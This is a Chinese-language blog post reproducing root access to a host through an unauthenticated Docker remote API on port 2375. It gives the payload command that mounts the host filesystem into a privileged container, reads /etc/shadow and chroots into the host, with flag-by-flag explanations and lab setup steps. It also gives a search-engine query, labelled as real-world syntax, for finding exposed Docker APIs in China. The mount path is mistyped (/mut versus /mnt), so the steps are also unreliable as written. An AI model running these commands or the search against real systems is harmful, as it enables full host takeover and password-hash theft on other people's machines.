Easy RCE using Docker API 复现

简介: Easy RCE using Docker API 复现

漏洞来源:

https://twitter.com/ptswarm/status/1338477426276511749/photo/1

payload: 
docker -H x.x.x.x:2375 run --rm -it --privileged --net=host -v /:/mut alpine
File Access: cat /mnt/etc/shadow 
RCE: chroot /mnt

原理:

Docker提供了远程管理接口。

Docker Daemon作为守护进程,运行在后台,可以执行发送到管理接口上的Docker命令

端口2375:未加密的docker socket,远程root无密码访问主机

复现环境:

kali

centos

各安装docker

安装centos因为现装的,啥环境都没

docker安装:

sudo apt -y install curl gnupg2 apt-transport-https software-properties-common ca-certificates
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
echo "deb [arch=amd64] https://download.docker.com/linux/debian buster stable" | sudo tee  /etc/apt/sources.list.d/docker.list
apt update
apt install docker-ce docker-ce-cli containerd.io
docker version

docekr配置文件:

/usr/lib/systemd/system/docker.service

开启远程访问连接的api:

  • 640.png
systemctl daemon-reload
systemctl restart docker

验证端口是否开启:

netstat -anlp|grep 2375

640.png

nmap扫描:

640.png

kali执行:

kail已经安装docker了这就不多说了快下班了~


docker -H 192.168.5.135:2375 run --rm -it --privileged --net=host -v /:/mut alpine
run               =运行
--rm              =用于foreground模式的容器
-it               =指示Docker分配一个与容器的stdin连接的伪TTY;在容器中创建一个交互式bash shell
--privileged      =在启动的容器,可以看到很多host上的设备,并且可以执行mount
--net=host        =加了net=host后会使得创建的容器进入命令行好名称显示为主机的名称而不是一串id
-v                =把宿主机的目录挂载到容器中
alpine            =镜像

结果总结:

环境一下午复现2分钟

640.png

实战语法:

    port="2375" && protocol == docker && country="CN"
    相关文章
    |
    2月前
    |
    数据可视化 Linux API
    如何在Linux使用docker部署Swagger Editor并实现无公网IP远程协同编辑API文档
    如何在Linux使用docker部署Swagger Editor并实现无公网IP远程协同编辑API文档
    |
    4月前
    |
    数据可视化 Linux API
    使用Docker安装部署Swagger Editor并远程访问编辑API文档
    使用Docker安装部署Swagger Editor并远程访问编辑API文档
    60 0
    |
    5月前
    |
    Kubernetes Shell API
    DeepFace【部署 02】轻量级人脸识别和面部属性分析框架(实时分析+API+Docker部署+命令行接口)
    DeepFace【部署 02】轻量级人脸识别和面部属性分析框架(实时分析+API+Docker部署+命令行接口)
    116 0
    |
    5月前
    |
    数据可视化 Linux API
    使用Docker安装部署Swagger Editor并远程访问编辑API文档
    使用Docker安装部署Swagger Editor并远程访问编辑API文档
    |
    6月前
    |
    应用服务中间件 API nginx
    通过 docker 学习 nginx,附全部配置及 API 测试,使用 apifox 直接打开
    本篇文章以前端的视角,介绍下 nginx 的常见配置,并通过 docker 的方式学习 nginx,这保证所有实例配置都能正常运行。
    |
    9月前
    |
    安全 关系型数据库 API
    docker方式安装konga图形化admin api UI
    docker方式安装konga图形化admin api UI
    102 0
    |
    11月前
    |
    API Docker 容器
    docker 服务开启api 被外部访问
    1.编辑docker.service 2.修改ExecStart 如下 3.加载docker守护线程
    248 0
    |
    12月前
    |
    安全 网络协议 Shell
    Docker API未授权漏洞复现
    Docker API未授权漏洞复现
    732 0
    |
    监控 API Docker
    WGCLOUD监控docker容器agent日志出现错误:GetDockerApiContainerList err: Error response from daemon: client version 1.41 is too new. Maximum supported API version is 1.40
    WGCLOUD监控docker容器agent日志出现错误:GetDockerApiContainerList err: Error response from daemon: client version 1.41 is too new. Maximum supported API version is 1.40
    WGCLOUD监控docker容器agent日志出现错误:GetDockerApiContainerList err: Error response from daemon: client version 1.41 is too new. Maximum supported API version is 1.40
    |
    Java Unix API
    Java API 操作Docker示例
    Java API 操作Docker示例
    1861 0
    Java API 操作Docker示例